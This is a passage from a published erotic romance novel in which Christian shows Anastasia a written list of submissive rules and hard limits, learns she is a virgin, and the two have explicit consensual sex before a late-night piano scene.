you sleep?” + +“My room is downstairs. Come, you must be hungry.” + +“Weirdly, I seem to have lost my appetite,” I murmur petulantly. + +“You must eat, Anastasia,” he admonishes and, taking my hand, leads me back down- +stairs. + +Back in the impossibly big room, I am filled with deep trepidation. I am on the edge +of a precipice, and I have to decide whether or not to jump. + +“I’m fully aware that this is a dark path I’m leading you down, Anastasia, which is +why I really want you to think about this. You must have some questions,” he says as he +wanders into the kitchen area, releasing my hand. + +I do. But where to start? + +“You’ve signed your NDA, you can ask me anything you want, and I’ll answer.” + +I stand at the breakfast bar watching him as he opens the refrigerator and pulls out a +plate of different cheeses with two large bunches of green and red grapes. He sets the plate +down on the worktop and proceeds to cut up a French baguette. + +“Sit.” He points to one of the bar stools at the breakfast bar, and I obey his command. + +If I’m going to do this, I’m going to have to get used to it. I realize he’s been this bossy +since I met him. + +“You mentioned paperwork.” + +“Yes.” + +“What paperwork?” + +“Well, apart from the NDA, a contract saying what we will and won’t do. I need to +know your limits, and you need to know mine. This is consensual, Anastasia.” + +“And if I don’t want to do this?” + +“That’s fine,” he says carefully. + +“But we won’t have any sort of relationship?” I ask. + +“No.” + +“Why?” + +“This is the only sort of relationship I’m interesting in.” + +“Why?” + +He shrugs. + +“It’s the way I am.” + +“How did you become this way?” + +“Why is anyone the way they are? That’s kind of hard to answer. Why do some people +like cheese and other people hate it? Do you like cheese? Mrs. Jones - my housekeeper +- has left this for supper.” He takes some large, white plates from a cupboard and places +one in front of me. + +We’re talking about cheese... Holy crap. + +“What are your rules that I have to follow?” + + +“I have them written down. We’ll go through them once we’ve eaten.” + +Food. How can I eat now? + +“I’m really not hungry,” I whisper. + +“You will eat,” he says simply. Dominating Christian, it all becomes clear. “Would +you like another glass of wine?” + +“Yes, please.” + +He pours wine into my glass and comes to sit beside me. I take a hasty sip. + +“Help yourself to food, Anastasia.” + +I take a small bunch of grapes. This I can manage. He narrows his eyes. + +“Have you been like this for a while?” I ask. + +“Yes.” + +“Is it easy to find women who want to do this?” + +He raises an eyebrow at me. + +“You’d be amazed,” he says dryly. + +“Then why me? I really don’t understand.” + +“Anastasia, I’ve told you. There’s something about you. I can’t leave you alone.” He +smiles ironically. “I’m like a moth to a flame.” His voice darkens. “I want you very badly, +especially now, when you’re biting your lip again.” He takes a deep breath and swallows. + +My stomach somersaults - he wants me. . . in a weird way, true, but this beautiful, +strange, kinky man wants me. + +“I think you have that cliche the wrong way round.” I grumble. I am the moth and he +is the flame, and I’m going to get burnt. I know. + +“Eat!” + +“No. I haven’t signed anything yet, so I think I’ll hang on to my free will for a bit +longer, if that’s okay with you.” + +His eyes soften, and his lips turn up in a smile. + +“As you wish, Miss Steele.” + +“How many women?” I blurt out the question, but I’m so curious. + +“Fifteen.” + +Oh... not as many as I thought. + +“For long periods of time?” + +“Some of them, yes.” + +“Have you ever hurt anyone?” + +“Yes.” + +Holy shit. + +“Badly?” + +“No.” + +“Will you hurt me?” + +“What do you mean?” + +“Physically, will you hurt me?” + +“I will punish you when you require it, and it will be painful.” + +I think I feel a little faint. I take another sip of wine. Alcohol - this will make me brave. +“Have you ever been beaten?” I ask. + +“Yes.” + + +Oh... that surprises me. Before I can question him on this revelation further, he inter- +rupts my train of thought. + +“Let’s discuss this in my study. I want to show you something.” + +This is so hard to process. Here I was foolishly thinking that I’d spend a night of un- +paralleled passion in this man’s bed, and we’re negotiating this weird arrangement. + +I follow him into his study, a spacious room with another floor-to-ceiling window that +opens out on to the balcony. He sits on the desk, motions for me to sit on a leather chair in +front of him, and hands me a piece of paper. + +“These are the rules. They may be subject to change. They form part of the contract, +which you can also have. Read these rules and let’s discuss.” + + +RULES + +Obedience: + + +The Submissive will obey any instructions given by the Dominant immediately without +hesitation or reservation and in an expeditious manner. The Submissive will agree to any +sexual activity deemed fit and pleasurable by the Dominant excepting those activities which +are outlined in hard limits (Appendix 2). She will do so eagerly and without hesitation. + + +Sleep: + + +The Submissive will ensure she achieves a minimum of seven hours sleep a night when she +is not with the Dominant. + +Food: + + +The Submissive will eat regularly to maintain her health and wellbeing from a prescribed +list of foods (Appendix 4). The Submissive will not snack between meals, with the excep- +tion of fruit. + + +Clothes: + + +During the Term, the Submissive will wear clothing only approved by the Dominant. The +Dominant will provide a clothing budget for the Submissive, which the Submissive shall +utilize. The Dominant shall accompany the Submissive to purchase clothing on an ad hoc +basis. If the Dominant so requires, the Submissive shall during the Term any adornments +the Dominant shall require, in the presence of the Dominant and any other time the Domi- +nant deems fit. + + +Exercise: + + +The Dominant shall provide the Submissive with a personal trainer four times a week in +hour-long sessions at times to be mutually agreed between the personal trainer and the Sub- +missive. The personal trainer will report to the Dominant on the Submissive’s progress. + + +Personal Hygiene/Beauty: + + +The Submissive will keep herself clean and shaved and/or waxed at all times. The Sub- +missive will visit a beauty salon of the Dominant’s choosing at times to be decided by the +Dominant, and undergo whatever treatments the Dominant sees fit. + + +Personal Safety: + + +The Submissive will not drink to excess, smoke, take recreational drugs, or put herself in +any unnecessary danger. + +Personal Qualities: + + +The Submissive will not enter into any sexual relations with anyone other than the Domi- +nant. The Submissive will conduct herself in a respectful and modest manner at all times. +She must recognize that her behavior is a direct reflection on the Dominant. She shall be +held accountable for any misdeeds, wrongdoings, and misbehavior committed when not in +the presence of the Dominant. + + +Failure to comply with any of the above will result in immediate punishment, the nature of +which shall be determined by the Dominant. + + +Holy fuck. + +“Hard limits?” I ask. + +“Yes. What you won’t do, what I won’t do, we need to specify in our agreement.” + +“I’m not sure about accepting money for clothes. It feels wrong.” I shift uncomfort- +ably, the word ‘ho’ rattling round my head. + +“I want to lavish money on you, let me buy you some clothes. I may need you to ac- +company me to functions, and I want you dressed well. I’m sure your salary, when you do +get a job, won’t cover the kind of clothes I’d like you to wear.” + +“I don’t have to wear them when I’m not with you?” + +“No.” + +“Okay.” Think of them as uniform. + +“I don’t want to exercise four times a week.” + +“Anastasia, I need you supple, strong, and with stamina. Trust me, you need to exer- +cise.” + +“But surely not four times a week, how about three?” + +“I want you to do four.” + +“I thought this was a negotiation?” + +He purses his lips at me. + +“Okay, Miss Steele, another point well made. How about an hour on three days and +one day half an hour?” + +“Three days, three hours. I get the impression you’re going to keep me exercised when +I’m here.” + +He smiles wickedly, and his eyes glow as if relieved. “Yes, I am. Okay, agreed. Are +you sure you don’t want to intern at my company? You’re a good negotiator.” + + +“No, I don’t think that’s a good idea.” I stare down at his rules. Waxing! Waxing what? +Everything? Ugh. + +“So, limits. These are mine.” He hands me another piece of paper. + + +Hard Limits + + +No acts involving fire play + +No acts involving urination or defecation and the products thereof + +No acts involving needles, knives, piercing, or blood + +No acts involving gynecological medical instruments + +No acts involving children or animals + +No acts that will leave any permanent marks on the skin + +No acts involving breath control + +Ugh. He has to write these down! Of course - they all look very sensible, and frankly, +necessary. . . any sane person wouldn’t want to be involved in this sort of thing surely? +Though I now feel a little queasy. + +“Is there anything you’d like to add?” he asks kindly. + +Crap. I’ve no idea. I am completely stumped. He gazes at me and furrows his brow. +“Is there anything you won’t do?” + +“I don’t know.” + +“What do you mean you don’t know?” + +I squirm uncomfortably and bite my lip. + +“I’ve never done anything like this.” + +“Well, when you’ve had sex, was there anything that you didn’t like doing?” + +For the first time in what seems to be ages, I blush. + +“You can tell me, Anastasia. We have to be honest with each other or this isn’t going +to work.” + +I squirm uncomfortably again and stare at my knotted fingers. + +“Tell me,” he commands. + +“Well... I’ve not had sex before, so I don’t know.” My voice is small. I peek up at him, +and he’s staring at me, mouth-open, frozen, and pale - really pale. + +“Never?” he whispers. I shake my head. + +“You’re a virgin?” he breathes. I nod, flushing again. He closes his eyes and looks to +be counting to ten. When he opens them again, he’s angry, glaring at me. + +“Why the fuck didn’t you tell me?” he growls. + + +Chapter Eight + + +Christian is running both his hands through his hair and pacing up and down his study. + +Two hands - that’s double exasperation. His usual concrete control seems to have slipped +a notch. + +“I don’t understand why you didn’t tell me,” he castigates me. + +“The subject never came up. I’m not in the habit of revealing my sexual status to ev- +eryone I meet. I mean, we hardly know each other.” I’m staring at my hands. Why am I +feeling guilty? Why is he so mad? I peek up at him. + +“Well, you know a lot more about me now,” he snaps, his mouth presses into a hard +line. “I knew you were inexperienced, but a virgin!” He says it like it’s a really dirty word. +“Hell, Ana, I just showed you,” he groans. “May God forgive me. Have you ever been +kissed, apart from by me?” + +“Of course I have.” I try my best to look affronted. Okay. . . maybe twice. + +“And a nice young man hasn’t swept you off your feet? I just don’t understand. You’re +twenty-one, nearly twenty-two. You’re beautiful.” He runs his hand through his hair again. + +Beautiful. I flush with pleasure. Christian Grey thinks I’m beautiful. I knot my fingers +together, staring at them hard, trying to conceal my goofy grin. Perhaps he’s near-sighted, +my subconscious has reared her somnambulant head. Where was she when I needed her? + +“And you’re seriously discussing what I want to do, when you have no experience.” + +His brows knit together. “How have you avoided sex? Tell me, please.” + + +I shrug. + +“No one’s really, you know.” Come up to scratch, only you. And you turn out to be +some kind of monster. “Why are you so angry with me?” I whisper. + +“I’m not angry with you, I’m angry with myself. I just assumed... ” He sighs. He +regards me shrewdly and then shakes his head. “Do you want to go?” he asks, his voice +gentle. + +“No, unless you want me to go,” I murmur. Oh no. . . I don’t want to leave. + +“Of course not. I like having you here.” He frowns as he says this and then glances at +his watch. “It’s late.” And he turns to look at me. “You’re biting your lip.” His voice is +husky, and he’s eyeing me speculatively. + +“Sorry.” + +“Don’t apologize. It’s just that I want to bite it too, hard.” + +I gasp... how can he say things like that to me and not expect me to be affected. +“Come,” he murmurs.” + +“What?” + +“We’re going to rectify the situation right now.” + +“What do you mean? What situation?” + +“Your situation. Ana, I’m going to make love to you, now.” + +“Oh.” The floor has fallen away. I’m a situation. I’m holding my breath. + +“That’s if you want to, I mean, I don’t want to push my luck.” + +“I thought you didn’t make love. I thought you fucked hard.” I swallow, my mouth +suddenly dry. + +He gives me a wicked grin, the effects of which travel all the way down there. + +“I can make an exception, or maybe combine the two, we’ll see. I really want to make +love to you. Please, come to bed with me. I want our arrangement to work, but you re- +ally need to have some idea what you’re getting yourself into. We can start your training +tonight - with the basics. This doesn’t mean I’ve come over all hearts and flowers, it’s a +means to an end, but one that I want, and hopefully you do too.” His gray gaze is intense. + +I flush... oh my... wishes do come true. + +“But I haven’t done all the things you require from your list of rules.” My voice is all +breathy, hesitant. + +“Forget about the rules. Forget about all those details for tonight. I want you. I’ve +wanted you since you fell into my office, and I know you want me. You wouldn’t be sitting +here calmly discussing punishment and hard limits if you didn’t. Please, Ana, spend the +night with me.” He holds his hand out to me, his eyes are bright, fervent... excited, and I +put my hand in his. He pulls me up and into his arms so I can feel the length of his body +against mine, this swift action taking me by surprise. He runs his fingers round the nape of +my neck, winds my ponytail around his wrist, and gently pulls so I’m forced to look up at +him. He gazes down at me. + +“You are one brave young woman,” he whispers. “I am in awe of you.” + +His words are like some kind of incendiary device; my blood flames. He leans down +and kisses my lips gently, and he sucks at my lower lip. + +“I want to bite this lip,” he murmurs against my mouth, and carefully he tugs at it with +his teeth. I moan, and he smiles. + + +“Please Ana, let me make love to you.” + +“Yes,” I whisper, because that’s why I’m here. His smile is triumphant as he releases +me and takes my hand and leads me through the apartment. + +His bedroom is vast. The ceiling height windows look out on a lit up, high-rise Seattle. +The walls are white, and the furnishings are pale blue. The enormous bed is ultra-modern, +made of rough, grey wood, like driftwood, four posts, but no canopy. On the wall above it +is a stunning painting of the sea. + +I am quaking like a leaf. This is it. Finally, after all this time, I’m going to do it, with +none other than Christian Grey. My breath is shallow, and I can’t take my eyes off him. + +He removes his watch and places it on top of a chest of drawers that matches the bed, and +removes his jacket, placing it on a chair. He’s dressed in his white linen shirt and jeans. + +He is heart-stoppingly beautiful. His dark copper hair is a mess, his shirt hanging out - his +gray eyes bold and dazzling. He steps out of his Converse shoes and reaches down and +takes his socks off individually. Christian Grey’s feet... wow... what is it about naked +feet? Turning, he gazes at me, his expression soft. + +“I assume you’re not on the pill.” + +What! Shit. + +“I didn’t think so.” He opens the top drawer of the chest and removes a packet of con- +doms. He gazes at me intently. + +“Be prepared,” he murmurs. “Do you want the blinds drawn?” + +“I don’t mind.” I whisper. “I thought you didn’t let anyone sleep in your bed.” + +“Who says we’re qoinq to sleep?” he murmurs softly. + +“Oh.” Holy hell. + +He strolls slowly toward me. Confident, sexy, eyes blazing, and my heart begins to +pound. My blood’s pumping around my body. Desire, thick and hot, pools in my belly. He +stands in front of me, staring down into my eyes. He’s so freaking hot. + +“Let’s get this jacket off, shall we?” he says softly, and takes hold of the lapels and +gently slides my jacket off my shoulders. He places it on the chair. + +“Do you have any idea how much I want you, Ana Steele?” he whispers. My breath +hitches. I cannot take my eyes off his. He reaches up and gently runs his fingers down my +cheek to my chin. + +“Do you have any idea what I’m going to do to you?” he adds, caressing my chin. + +The muscles inside the deepest, darkest part of me clench in the most delicious fashion. +The pain is so sweet and sharp I want to close my eyes, but I’m hypnotized by his gray eyes +staring fervently into mine. Leaning down, he kisses me. His lips are demanding, firm +and slow, molding mine. He starts unbuttoning my shirt while he places feather-like kisses +across my jaw, my chin, and the corners of my mouth. Slowly he peels it off me and lets it +fall to the floor. He stands back and gazes at me. I’m in the pale blue lacy perfect-fit bra. +Thank heavens. + +“Oh, Ana,” he breathes. “You have the most beautiful skin, pale and flawless. I want +to kiss every single inch of it.” + +I flush. Oh my... Why did he say he couldn’t make love? I will do anything he wants. + +He grasps my hair tie, pulls it free, and gasps as my hair cascades down around my shoul- +ders. + + +“I like brunettes,” he murmurs, and both of his hands are in my hair, grasping each side +of my head. His kiss is demanding, his tongue and lips coaxing mine. I moan, and my +tongue tentatively meets his. He puts his arms around me and hauls me against his body, +squeezing me tightly. One hand remains in my hair, the other travels down my spine to +my waist and down to my behind. His hand flexes over my backside and squeezes gently. +He holds me against his hips, and I feel his erection, which he languidly pushes into me. + +I moan once more into his mouth. I can hardly contain the riotous feelings or is it +hormones that rampage through my body. I want him so badly. Gripping his upper arms, + +I feel his biceps, he’s surprisingly strong... muscular. Tentatively, I move my hands up +to his face and into his hair. Holy Moses. It’s so soft, unruly. I tug gently, and he groans. + +He eases me toward the bed, until I feel it behind my knees. I think he’s going to push me +down on to it, but he doesn’t. Releasing me, he suddenly drops to his knees. He grabs my +hips with both his hands and runs his tongue around my navel, then gently nips his way to +my hipbone, then across my belly to my other hipbone. + +“Ah,” I groan. + +Seeing him on his knees in front of me, feeling his mouth on me, it’s so unexpected,, +and hot. My hands stay in his hair, pulling gently as I try to quiet my too-loud breathing. + +He gazes up at me through impossibly long lashes, his eyes a scorching smoky gray. His +hands reach up and undo the button on my jeans, and he leisurely pulls down the zipper. +Without taking his eyes off mine, his hands move beneath the waistband, skimming me and +moving to my behind. His hands glide slowly down my backside to my thighs, removing +my jeans as they go. I cannot look away. He stops and licks his lips, never breaking eye +contact. He leans forward, running his nose up the apex between my thighs. I feel him. +There. + +“You smell so good,” he murmurs and closes his eyes, a look of pure pleasure on his +face, and I practically convulse. He reaches up and tugs the duvet off the bed, then pushes +me gently so I fall on to the mattress. + +Still kneeling, he grasps my foot and undoes my Converse, pulling off my shoe and +sock. I raise myself up on my elbows to see what he’s doing. I’m panting... wanting. He +lifts my foot by the heel and runs his thumbnail up my instep. It’s almost painful, but I feel +the movement echoed in my groin. I gasp. Not taking his eyes off mine, again he runs his +tongue along my instep and then his teeth. Shit. I groan... how can I feel this, there. I fall +back on to the bed, moaning. I hear his soft chuckle. + +“Oh, Ana, what I could do to you,” he whispers. He removes my other shoe and sock, +then stands and removes my jeans. I’m lying on his bed dressed only in my bra and panties, +and he’s staring down at me. + +“You’re very beautiful, Anastasia Steele. I can’t wait to be inside you.” + +Holy shit. His words. He’s so seductive. He takes my breath away. + +“Show me how you pleasure yourself.” + +What? I frown. + +“Don’t be coy, Ana, show me,” he whispers. + +I shake my head. + +“I don’t know what you mean.” My voice is hoarse. I hardly recognize it, laced with +desire. + + +“How do you make yourself come? I want to see.” + +I shake my head. + +“I don’t,” I mumble. He raises his eyebrows, astonished for a moment, and his eyes +darken, and he shakes his head in disbelief. + +“Well, we’ll have to see what we can do about that.” His voice is soft, challenging, +a delicious sensual threat. He undoes the buttons of his jeans and slowly pulls his jeans +down, his eyes on mine the whole time. He leans down over me and, grasping each of my +ankles, quickly jerks my legs apart and crawls onto the bed between my legs. He hovers +over me. I am squirming with need. + +“Keep still,” he murmurs, and then he leans down and kisses the inside of my thigh, +trailing kisses up, over the thin lacy material of my panties, kissing me. + +Oh... I can’t keep still. How can I not move? I wriggle beneath him. + +“We’re going to have to work on keeping you still, baby.” He trails kisses up my belly, +and his tongue dips into my navel. Still he’s heading north, kissing me across my torso. + +My skin is burning. I’m flushed, too hot, too cold, and I’m clawing at the sheet beneath +me. He lay down beside me, and his hand trails up from my hip, to my waist, and up to +my breast. He gazes down at me, his expression unreadable, and gently cups my breast. + +“You fit my hand perfectly, Anastasia,” he murmurs and dips his index finger into the +cup of my bra and gently yanks it down freeing my breast, but the under wire and fabric of +the cup force it upward. His finger moves to my other breast and repeats the process. My +breasts swell, and my nipples harden under his steady gaze. I am trussed-up by my own +bra. + +“Very nice,” he whispers appreciatively, and my nipples harden even more. + +He blows very gently on one as his hand moves to my other breast, and his thumb +slowly rolls the end of my nipple, elongating it. I groan, feeling the sweet sensation all the +way to my groin. I am so wet. Oh please, I beg internally as my fingers clasp the sheet +tighter. His lips close around my other nipple and he tugs, I nearly convulse. + +“Let’s see if we can make you come like this,” he whispers, continuing his slow, sen- +sual assault. My nipples bear the delicious brunt of his deft fingers and lips, setting alight +every single nerve ending in my body so that my whole body sings with the sweet agony. + +He just doesn’t stop. + +“Oh... please,” I beg, and I pull my head back, my mouth open as I groan, my legs +stiffening. Holy hell, what’s happening to me? + +“Let go, baby,” he murmurs. His teeth close round my nipple, and his thumb and finger +pull hard, and I fall apart in his hands, my body convulsing and shattering into a thousand +pieces. He kisses me, deeply, his tongue in my mouth absorbing my cries. + +Oh my. That was extraordinary. Now I know what all the fuss is about. He gazes +down at me, a satisfied smile on his face, while I’m sure there’s nothing but gratitude and +awe on mine. + +“You are very responsive,” he breathes. “You’re going to have to learn to control that, +and it’s going to be so much fun teaching you how.” He kisses me again. + +My breathing is still ragged as I come down from my orgasm. His hand moves down +my waist, to my hips, and then cups me, intimately... Jeez. His finger slips through the fine + + +lace and slowly circles around me - there. Briefly he closes his eyes, and his breathing +hitches. + +“You’re so deliciously wet. God, I want you.” He thrusts his finger inside me, and I +cry out as he does it again and again. He palms my clitoris, and I cry out once more. He +pushes inside me harder and harder still. I groan. + +Suddenly, he sits up and tugs my panties off and throws them on the floor. Pulling off +his boxer briefs, his erection springs free. Holy cow... He reaches over to his bedside table +and grabs a foil packet, and then he moves between my legs, spreading them further apart. +He kneels up and pulls a condom on to his considerable length. Oh no... Will it? How? + +“Don’t worry,” he breathes, his eyes on mine, “You expand too.” He leans down, his +hands on either side of my head, so he’s hovering over me, staring down into my eyes, his +jaw clenched, eyes burning. It’s only now that I register he’s still wearing his shirt. + +“You really want to do this?” he asks softly. + +“Please,” I beg. + +“Pull your knees up,” he orders softly, and I’m quick to obey. “I’m going to fuck you +now, Miss Steele,” he murmurs as he positions the head of his erection at the entrance of +my sex. “Hard,” he whispers, and he slams into me. + +“Aargh!” I cry as I feel a weird pinching sensation deep inside me as he rips through +my virginity. He stills, gazing down at me, his eyes bright with ecstatic triumph. + +His mouth is open slightly, and his breathing is harsh. He groans. + +“You’re so tight. You okay?” + +I nod, my eyes wide, my hands on his forearms. I feel so full. He stays still, letting me +acclimatize to the intrusive, overwhelming feeling of him inside me. + +“I’m going to move, baby,” he breathes after a moment, his voice tight. + +Oh. ~ + +He eases back with exquisite slowness. And he closes his eyes and groans, and thrusts +into me again. I cry out a second time, and he stills. + +“More?” he whispers, his voice raw. + +“Yes,” I breathe. He does it once more, and stills again. + +I groan. My body accepting him... Oh, I want this. + +“Again?” he breathes. + +“Yes.” It’s a plea. + +And he moves, but this time he doesn’t stop. He shifts onto his elbows so I can feel +his weight on me, holding me down. He moves slowly at first, easing himself in and out of +me. And as I grow accustomed to the alien feeling, my hips move tentatively to meet his. + +He speeds up. I moan, and he pounds on, picking up speed, merciless, a relentless rhythm, +and I keep up, meeting his thrusts. He grasps my head between his hands and kisses me +hard, his teeth pulling at my lower lip again. He shifts slightly, and I can feel something +building deep inside me, like before. I start to stiffen as he thrusts on and on. My body +quivers, bows, a sheen of sweat gathers over me. Oh my... I didn’t know it would feel like +this... didn’t know it could feel as good as this. My thoughts are scattering... there’s only +sensation... only him... only me... oh please... I stiffen. + + +“Come for me, Ana,” he whispers breathlessly, and I unravel at his words, exploding +around him as I climax and splinter into a million pieces underneath him. And as he comes, +he calls out my name, thrusting hard, then stilling as he empties himself into me. + +I am still panting, trying to slow my breathing, my thumping heart, and my thoughts +are in riotous disarray. Wow... that was astounding. I open my eyes, and he has his fore- +head pressed against mine, his eyes closed, his breathing ragged. Christian’s eyes flicker +open and gaze down at me, dark but soft. He’s still inside me. Leaning down, he gently +presses a kiss against my forehead then slowly pulls out of me. + +“Ooh.” I wince at the unfamiliarity. + +“Did I hurt you?” Christian asks as he lies down beside me propped on one elbow. He +tucks a stray strand of my hair behind my ear. And I have to grin, widely. + +“You are asking me if you hurt me?” + +“The irony is not lost on me,” he smiles sardonically. “Seriously, are you okay?” His +eyes are intense, probing, demanding even. + +I stretch out beside him, feeling loose-limbed, my bones like jelly, but I’m relaxed, +deeply relaxed. I grin at him. I can’t stop grinning. Now I know what all the fuss is about. + +Two orgasms... coming apart at the seams, like the spin cycle on a washing machine, wow. + +I had no idea what my body was capable of, could be wound so tightly and released so +violently, so gratifyingly. The pleasure was indescribable. + +“You’re biting your lip, and you haven’t answered me.” He’s frowning. I grin up at +him impishly. He looks glorious with his tousled hair, burning narrowed gray eyes, and +serious, dark expression. + +“I’d like to do that again,” I whisper. For a moment, I think I see a fleeting look of +relief on his face, before the shutters come down, and he gazes at me through hooded eyes. + +“Would you now, Miss Steele?” he murmurs dryly. He leans down and kisses me very +gently at the corner of my mouth. “Demanding little thing aren’t you. Turn on your front.” + +I blink at him momentarily, and then I turn over. He unhooks my bra and runs his hand +down my back to my behind. + +“You really have the most beautiful skin,” he murmurs. He shifts so that one of his legs +pushes between mine, and he’s half lying across my back. I can feel the buttons of his shirt +pressing into me as he gathers my hair off my face and kisses my bare shoulder. + +“Why are you wearing your shirt?” I ask. He stills. After a beat, he shuffles out of +his shirt, and he lies back down on me. I feel his warm skin against mine. Hmm... it feels +heavenly. He has a light dusting of hair across his chest, which tickles my back. + +“So you want me to fuck you again?” he whispers in my ear, and he begins to trail +feather light kisses around my ear and down my neck. + +His hand moves down, skimming my waist, over my hip, and down my thigh to the +back of my knee. He pushes my knee up higher, and my breath hitches... oh my, what’s +he doing now? He shifts so he’s between my legs, pressed against my back, and his hand +travels up my thigh to my behind. He caresses my cheek slowly, and then trails his fingers +down between my legs. + +“I’m going to take you from behind, Anastasia,” he murmurs, and with his other hand, +he grasps my hair at the nape in a fist and pulls gently, holding me in place. I cannot move +my head. I am pinioned beneath him, helpless. + + +“You are mine,” he whispers. “Only mine. Don’t forget it.” His voice is intoxicating, +his words heady, seductive. I feel his growing erection against my thigh. + +His long fingers reach round to gently massage my clitoris, circling slowly. His breath +is soft against my face as he slowly nips me along my jaw. + +“You smell divine,” he nuzzles behind my ear. His hand rubs against me, round and +round. Reflexively, my hips start to circle, mirroring his hand, as excruciating pleasure +spikes through my blood like adrenaline. + +“Keep still,” he orders, his voice soft but urgent, and slowly he inserts his thumb inside +me, rotating it round and round, stroking the front wall of my vagina. The effect is mind- +blowing - all my energy concentrating on this one small space inside my body. I moan. + +“You like this?” he asks softly, his teeth grazing my outer ear, and he starts to flex his +thumb slowly, in, out, in, out... his fingers still circling. + +I close my eyes, trying to keep my breathing under control, trying to absorb the disor- +dered, chaotic sensations that his fingers are unleashing on me, fire coursing through my +body. I moan again. + +“You’re so wet, so quickly. So responsive. Oh, Anastasia, I like that. I like that a lot,” +he whispers. + +I want to stiffen my legs, but I can’t move. He’s pinning me down, keeping up a +constant, slow, tortuous rhythm. It’s absolutely exquisite. I moan again, and he moves +suddenly. + +“Open your mouth,” he commands and thrusts his thumb in my mouth. My eyes fly +open, blinking wildly. + +“See how you taste,” he breathes against my ear. “Suck me, baby.” His thumb presses +on my tongue, and my mouth closes round him, sucking wildly. I taste the saltiness on his +thumb and the faint metallic tang of blood. Holy fuck. This is wrong, but holy hell is it +erotic. + +“I want to fuck your mouth, Anastasia, and I will soon,” his voice is hoarse, raw, his +breathing more disjointed. + +Fuck my mouth! I moan, and I bite down on him. He gasps, and he pulls my hair +tighter, painfully, so I release him. + +“Naughty, sweet girl,” he whispers, and then reaches over to the bedside table for a foil +packet. “Stay still, don’t move,” he orders as he releases my hair. + +He rips the foil while I’m breathing hard, my blood singing in my veins. The anticipa- +tion is exhilarating. He leans down, his weight on me again, and he grabs my hair holding +my head immobile. I cannot move. I’m enticingly ensnared by him, and he’s poised and +ready to take me once more. + +“We’re going to go real, slow this time, Anastasia,” he breathes. + +And slowly he eases into me, slowly, slowly, until he’s buried in me. Stretching, fill- +ing, relentless. I groan loudly. It feels deeper this time, delectable. I groan again, and he +deliberately circles his hips and pulls back, pauses a beat, and then eases his way back in. +He repeats this motion again and again. It’s driving me insane - his teasing, deliberately +slow thrusts, and the intermittent feeling of fullness is overwhelming. + + +“You feel so good,” he groans, and my insides start to quiver. He pulls back and waits. +“Oh no, baby, not yet,” he murmurs, and as the quivering ceases, he starts the whole deli- +cious process again. + +“Oh, please,” I beg. I’m not sure I can take much more. My body is wound so tight, +craving release. + +“I want you sore, baby,” he murmurs, and he continues his sweet, leisurely torment, +backward, forward. + +“Every time you move tomorrow, I want you to be reminded that I’ve been here. Only +me. You are mine.” + +I groan. + +“Please, Christian,” I whisper. + +“What do you want, Anastasia? Tell me.” + +I groan again. He pulls out and moves slowly back into me, circling his hips once +more. + +“Tell me,” he murmurs. + +“You, please.” + +He increases the rhythm infinitesimally, and his breathing becomes more erratic. My +insides start quickening, and Christian picks up the rhythm. + +“You. Are. So. Sweet,” he murmurs between each thrust. “I. Want. You. So. Much.” + +I moan. + +“You. Are. Mine. Come for me, baby,” he growls. + +His words are my undoing, tipping me over the precipice. My body convulses around +him, and I come, loudly calling out a garbled version of his name into the mattress, and +Christian follows with two sharp thrusts, and he freezes, pouring himself into me as he +finds his release. He collapses on top of me, his face in my hair. + +“Fuck. Ana,” he breathes. He pulls out of me immediately and rolls onto his side of +the bed. I pull my knees up to my chest, utterly spent, and immediately drift off or pass out +into an exhausted sleep. + + +When I wake, it’s still dark. I have no idea how long I’ve slept. I stretch out beneath the +duvet, and I feel sore, deliciously sore. Christian is nowhere to be seen. I sit up, staring +out at the cityscape in front of me. There are fewer lights on amongst the skyscrapers, and +there’s a whisper of dawn in the east. I hear the music. The lilting notes of the piano, a sad, +sweet lament. Bach, I think, but I’m not sure. + +I wrap the duvet round me and quietly pad down the corridor toward the big room. +Christian is at the piano, completely lost in the music he’s playing. His expression is sad +and forlorn, like the music. His playing is stunning. Leaning against the wall at the en- +trance, I listen enraptured. He’s such an accomplished musician. He sits naked, his body +bathed in the warm light cast by a solitary freestanding lamp beside the piano. With the rest +of the large room in darkness, it’s like he’s in his own isolated little pool of light, untouch- +able... lonely, in a bubble. + +I pad quietly toward him, enticed by the sublime, melancholy music. I’m mesmer- +ized watching his long skilled fingers as they find and gently press the keys, thinking how + + +those same fingers have expertly handled and caressed my body. I flush and gasp at the +memory and press my thighs together. He glances up, his unfathomable gray eyes bright, +his expression unreadable. + +“Sorry,” I whisper. “I didn’t mean to disturb you.” + +A frown flits across his face. + +“Surely, I should be saying that to you,” he murmurs. He finishes playing and puts his +hands on his legs. + +I notice now that he’s wearing PJ pants. He runs his fingers through his hair and stands. +His pants hang from his hips, in that way... oh my. My mouth goes dry as he casually +strolls around the piano toward me. He has broad shoulders, narrow hips, and his abdomi- +nal muscles ripple as he walks. He really is stunning. + +“You should be in bed,” he admonishes. + +“That was a beautiful piece. Bach?” + +“Transcription by Bach, but it’s originally an oboe concerto by Alessandro Marcello.” + +“It was exquisite, but very sad, such a melancholy melody.” + +His lips quirk up in a half smile. + +“Bed,” he orders. “You’ll be exhausted in the morning.” + +“I woke and you weren’t there.” + +“I find it difficult to sleep, and I’m not used to sleeping with anyone,” he murmurs. I +can’t fathom his mood. He seems a little despondent, but it’s difficult to tell in the dark- +ness. Perhaps it was the tone of the piece he was playing. He puts his arm around me and +gently walks me back to the bedroom. + +“How long have you been playing? You play beautifully.” + +“Since I was six.” + +“Oh.” Christian as a six-year-old boy... my mind conjures an image of a beautiful, +copper-haired little boy with gray eyes and my heart melts - a moppet-haired kid who likes +impossibly sad music. + +“How are you feeling?” he asks when we are back in the room. He switches on a +sidelight. + +“I’m good.” + +We both glance down at the bed at the same time. There’s blood on the sheets - evi- +dence of my lost virginity. I flush, embarrassed, pulling the duvet tighter around me. + +“Well, that’s going to give Mrs. Jones something to think about,” Christian mutters as +he stands in front of me. He puts his hand under my chin and tips my head back, staring +down at me. His eyes are intense as he examines my face. I realize that I’ve not seen his +naked chest before. Instinctively, I reach out to run my fingers through the smattering of +dark hair on his chest to see how it feels. Immediately, he steps back out of my reach. + +“Get into bed,” he says sharply. “I’ll come and lie down with you.” His voice softens. + +I drop my hand and frown. I don’t think I’ve ever touched his torso. He opens a chest of +drawers and pulls out a t-shirt and quickly slips it on. + +“Bed,” he orders again. I climb back onto the bed, trying not to think about the blood. + +He clambers in beside me and pulls me into his embrace, wrapping his arms around me so +that I’m facing away from him. He kisses my hair gently, and he inhales deeply. + + +“Sleep, sweet Anastasia,” he murmurs, and I close my eyes, but I can’t help feel a re- +sidual melancholy either from the music or his demeanor. Christian Grey has a sad side. + + +Chapter 